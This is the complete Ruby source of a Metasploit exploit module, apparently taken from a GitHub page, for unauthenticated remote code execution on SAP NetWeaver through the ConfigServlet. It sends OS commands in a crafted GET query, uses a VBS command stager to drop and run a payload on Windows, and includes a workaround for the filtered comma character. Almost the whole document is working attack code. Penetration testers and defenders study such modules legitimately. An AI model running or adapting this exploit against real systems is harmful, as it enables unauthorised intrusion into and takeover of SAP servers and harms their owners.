Permalink
Cannot retrieve contributors at this time
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit | |
Rank = GreatRanking | |
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::CmdStager | |
include Msf::Exploit::FileDropper | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'SAP ConfigServlet Remote Code Execution', | |
'Description' => %q{ | |
This module allows remote code execution via operating system commands through the | |
SAP ConfigServlet without any authentication. This module has been tested successfully | |
with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2. | |
}, | |
'Author' => | |
[ | |
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation) | |
'Andras Kabai' # Metasploit module | |
], | |
'License' => MSF_LICENSE, | |
'References' => | |
[ | |
[ 'OSVDB', '92704'], | |
[ 'EDB', '24996'], | |
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'] | |
], | |
'DisclosureDate' => '2012-11-01', # Based on the reference presentation | |
'Platform' => 'win', | |
'Targets' => | |
[ | |
[ | |
'Windows generic', | |
{ | |
'Arch' => ARCH_X86 | |
} | |
] | |
], | |
'CmdStagerFlavor' => 'vbs', | |
'DefaultTarget' => 0, | |
'Privileged' => false | |
)) | |
register_options( | |
[ | |
Opt::RPORT(50000), | |
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) | |
]) | |
register_advanced_options( | |
[ | |
OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ]) | |
]) | |
end | |
def check | |
uri = normalize_uri(target_uri.path, 'ConfigServlet') | |
begin | |
res = send_evil_request(uri, "whoami", 20) | |
rescue | |
vprint_error("An error has occurred while sending the malicious request") | |
return Exploit::CheckCode::Unknown | |
end | |
if !res | |
vprint_error("Connection timed out") | |
return Exploit::CheckCode::Unknown | |
elsif res.body.include?("Process created") | |
return Exploit::CheckCode::Vulnerable | |
else | |
return Exploit::CheckCode::Safe | |
end | |
end | |
def exploit | |
print_status("#{rhost}:#{rport} - Exploiting remote system") | |
uri = normalize_uri(target_uri.path, 'ConfigServlet') | |
execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri }) | |
end | |
def execute_command(cmd, opts) | |
commands = cmd.split(/&/) | |
commands.each do |command| | |
timeout = 20 | |
if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/ | |
register_file_for_cleanup($1) | |
end | |
if command.include?(".vbs") and command.include?(",") | |
# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them | |
# using the following command line trick it is possible to echo commas into the right places | |
command.gsub!(",", "%i") | |
command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command | |
else | |
command = "cmd /c " + command | |
end | |
if command.include?("cscript") | |
# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data | |
# increaste timeout value when the VBS stager is called | |
timeout = 120 | |
end | |
vprint_status("Attempting to execute: #{command}") | |
send_evil_request(opts[:sap_configservlet_uri], command, timeout) | |
end | |
end | |
def send_evil_request(uri, cmd, timeout) | |
begin | |
res = send_request_cgi( | |
{ | |
'uri' => uri, | |
'method' => 'GET', | |
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd) | |
}, timeout) | |
if !res | |
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit failed") | |
end | |
if res.code != 200 | |
vprint_error("#{rhost}:#{rport} - Output: #{res.body}") | |
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed") | |
end | |
rescue ::Rex::ConnectionError | |
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server") | |
end | |
if not res.body.include?("Process created") | |
vprint_error("#{rhost}:#{rport} - Output: #{res.body}") | |
fail_with(Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed") | |
end | |
return res | |
end | |
end |